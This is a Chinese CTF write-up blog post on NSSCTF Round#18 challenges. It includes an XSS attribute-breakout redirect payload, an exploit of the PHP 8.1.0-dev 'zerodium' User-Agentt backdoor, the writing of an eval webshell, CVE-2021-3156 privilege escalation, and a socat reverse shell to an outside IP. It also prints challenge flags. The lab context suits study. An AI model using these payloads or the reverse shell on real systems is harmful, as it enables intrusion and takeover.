SICTF#3-NSSCTF#18记录复现

NSSCTF Round#18

WEB

[NSSRound#18 Basic]门酱想玩什么呢?

比赛的时候刚从外地回家,没来得及看题,于是上题库后重新复现

题目位置:[NSSRound#18 Basic]门酱想玩什么呢? | NSSCTF

刚打开网站的时候出现一个mp4,一开始并没有想着说去F12看看,等mp4播放完后就自动挑战到了 king.php 下

后续没思路的时候重头来过,看了一下数据包没啥东西,就用F12大法看看有没有隐藏信息

不过需要注意的是,这题有hint,也指向了启动页面(还是hint很关键啊,前面浪费了很久时间)

门酱想玩新游戏了,你能给他下载地址吗?
hint1: 启动的页面藏了提示
hint2: 与cookie无关,给门酱链接就行了

提示了这个地址:nssctfroundSpring.php

<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
    if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
        $urlParts = parse_url($matches[0]);
        if ($urlParts !== false) {
            echo '<img class="content" src="' . $matches[0] . '">';
            //.......
        }
        //......
    }
    //......
}

先继续浏览一下其他页面吧首页下

有一个文本框还有一个评论区

评论区可以进行评论,结合前面的hint其实大概也能猜出来是XSS了,不过具体xss要干什么还不知道

因为hint给了与cookie无关,所以猜测可能不是打cookie

然后要给门酱一个链接,猜测应该是用XSS进行跳转吧

这里随便给了门酱个链接,例如www.baidu.com显示要自己的网站

刚好符合前面的猜测,进行xss跳转

拿靶机的网站上去试试

不再显示

于是看nssctfroundSpring.php进行xss

直接进行分析:

  1. $contentLines = explode(" ", $comment['content']); 这行代码将评论内容 $comment['content'] 按照空格进行分割,存储到 $contentLines 数组中。假设评论内容是以空格分隔的单词。
  2. if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) { 这行代码用正则表达式检查评论内容中第一个单词是否是以 http://https:// 开头的链接。如果是,则继续执行下面的逻辑。
  3. if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') { 这行代码使用正则表达式检查链接是否以 .png 结尾,并且链接的结尾也是 /png。如果是,则执行下面的逻辑。
  4. $urlParts = parse_url($matches[0]); 这行代码使用 parse_url 函数解析匹配到的链接,将其分解为各个部分,并存储到 $urlParts 变量中。
  5. if ($urlParts !== false) { 这行代码检查 parse_url 函数是否成功解析了链接,如果成功,则继续执行下面的逻辑。
  6. echo '<img class="content" src="' . $matches[0] . '">'; 这行代码输出一个 <img> 标签,将匹配到的图片链接作为 src 属性的值,并添加了一个 class="content" 的类名。这样就会在页面上显示该图片。

前面就是正常的评论区要求的输入规则,后面的echo是xss的关键,在代码审计中echo更是xss的关键,有机会写一下关于xss的代码审计

可以看到是将前面的内容直接拼接进来,所以我们按照评论规则接着使用 “> 直接闭合是不是就可以达到xss

理论成立,实践开始

http://1.com"><script>alert(1)</script><img"1.png 12 /png

然后就直接百度一个跳转语法就好啦

<script>window.location.href='https://genshin.hoyoverse.com/';</script>

payload:

http://1.com"><script>window.location.href='https://genshin.hoyoverse.com/';</script><img"1.png 12 /png

因为xss跳转无法立即拿到url,所以bp拦截一下就好了

/words/?title=MQ%3D%3D&content=aHR0cCUzQSUyRiUyRjEuY29tJTIyJTNFJTNDc2NyaXB0JTNFd2luZG93LmxvY2F0aW9uLmhyZWYlM0QnaHR0cHMlM0ElMkYlMkZnZW5zaGluLmhveW92ZXJzZS5jb20lMkYnJTNCJTNDJTJGc2NyaXB0JTNFJTNDaW1nJTIyMS5wbmclMjAxMiUyMCUyRnBuZw%3D%3D

结果还是不行,人傻了,等重新看了一下评论区才发现,这nm我给错游戏了,应该给元梦之星

重新来

<script>window.location.href='https://ymzx.qq.com/';</script>

payload:

http://1.com"><script>window.location.href='https://ymzx.qq.com/';</script><img"1.png 12 /png
/words/?title=MQ%3D%3D&content=aHR0cCUzQSUyRiUyRjEuY29tJTIyJTNFJTNDc2NyaXB0JTNFd2luZG93LmxvY2F0aW9uLmhyZWYlM0QnaHR0cHMlM0ElMkYlMkZ5bXp4LnFxLmNvbSUyRiclM0IlM0MlMkZzY3JpcHQlM0UlM0NpbWclMjIxLnBuZyUyMDEyJTIwJTJGcG5n

成功拿到flag:NSSCTF{64844971-41d6-4111-ab66-495df8fb4c15}

好久没打ctf了,没想到越来越脑洞了……

[NSSRound#18 Basic]easy_rw

金币不够做不了 -。-

占个坑,等我下次金币够了在做吧

题目位置:[NSSRound#18 Basic]easy_rw | NSSCTF

[NSSRound#18 Basic]Becomeroot

题目位置:[NSSRound#18 Basic]Becomeroot | NSSCTF

题目描述:php的开发仓库好像被入侵过

一打开就是一个phpinfo

一脸懵逼,有点抽象,不会又跟前面那个xss一样得寻找蛛丝马迹吧

往信息泄露这方面去想了想,发现PHP版本是已知的 PHP Version 8.1.0-dev

找到这个PHP版本有后门漏洞,通过发送 User-Agentt 标头来执行任意代码

那还说什么,直接开测

PHP 8.1.0-dev 后门远程命令执行漏洞复现-腾讯云开发者社区-腾讯云 (tencent.com)

payload测试:

User-Agentt: zerodiumvar_dump(2*3);

成功回显int(6),漏洞存在。

ls看看根目录

根据最开始说的flag在/root下,用ls看看

发现回显空,猜测是不是没权限呀

执行whoami发现是user用户

判断没权限,难不成ctf得提权了???

不管先,先上shell

写🐎得先看目录在哪,盲猜默认目录 /var/www/html

ls看了一下发现确实是,回显了index.php

那就直接用echo写🐎了

User-Agentt: zerodiumsystem('echo "<?php @eval($_POST[1]);phpinfo();?>">/var/www/html/1.php');

打开1.php,提示

Parse error: syntax error, unexpected end of file, expecting “(“ in /var/www/html/1.php(1) : eval()’d code on line 1

看来得对$进行转义

User-Agentt: zerodiumsystem('echo "<?php @eval(\$_POST[1]);phpinfo();?>">/var/www/html/1.php');

成功写入,连接

md还真要提权,env没有,也打不开root目录,小小ctf还整上提权了

看一下内核版本:

cat /etc/*-release

发现是 Ubuntu 20.04.3 LTS

直接百度Ubuntu 20.04.3 LTS提权,使用CVE-2021-3493提权

一顿操作猛如虎,结果失败了

没办法,换方法

往浏览器下翻了一下,发现还有个 CVE-2021-31560 可以试试

【漏洞修复】Linux Sudo本地提权漏洞修复(CVE-2021-31560)-腾讯云开发者社区-腾讯云 (tencent.com)

但是找不到exp,百度这个cve结果发现这篇文章后面多打了一个0 =.=

正确的cve应该是:CVE-2021-3156:https://github.com/blasty/CVE-2021-3156

发现还是不太行

被迫去看官方wp

发现真的是这个cve,但是上面的poc打不成功

用官方的poc去打:CptGibbon/CVE-2021-3156: Root shell PoC for CVE-2021-3156 (github.com)

发现也不太ok

猜测应该是得用交互式shell才能提权了,传个socat弹个交互式shell到服务器上

但是这时候,服务器崩坏了(寄,又得花费30金币)

重新开了一个靶机 用socat进行交互shell

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:39.108.11.237:2333

直接make 然后运行

也是终于成功了www…

NSSCTF{0014fed1-627b-4d93-802c-1ccefda6df75}

总结一下,这题跟上面的xss一样麻烦(可能是我太菜了吧),但是难度并不难,几个细节还是得注意一下的

然后就是socat这个命令可以记录一下,看官方wp是直接去使用这个cve也没判断过程(老藏着掖着不写详细)

MISC

[NSSRound#18 Basic]温馨的酒吧

题目链接:https://www.bilibili.com/video/BV1nH4y1E7Hg/

这题没什么好说的,不评价,全部走完流程就可以拿flag了

[NSSRound#18 Basic]Number 7

Inside No.9 or Inside No.7 ?
182A1918071C152E0A4737263A3E780A6F6A075A112742777C687D0700773F7D39560063487D

Type 7加密,找个在线网站解密就好了

Type7密码加密/解密 - 一个工具箱 - 好用的在线工具都在这里! (atoolbox.net)

NSSCTF{H4PPY_N3WY34r_4ND_N55CTF_18TH}

[NSSRound#18 Basic]usersssssssss

这么多用户,总有一个用户拥有flag
(用户名取自附件中的字典,密码就是用户名的md5sum)

题目链接:[NSSRound#18 Basic]usersssssssss | NSSCTF

应该是爆破题,有空再看看,不想浪费金币

[NSSRound#18 Basic]Debuger

什么,直接开放一个debuger让我来操作吗,这么好的吗

题目链接:[NSSRound#18 Basic]Debuger | NSSCTF

占坑,晚点看看,还没做过类似的题目

SICTF Round#3

等晚点结束了再把wp放出来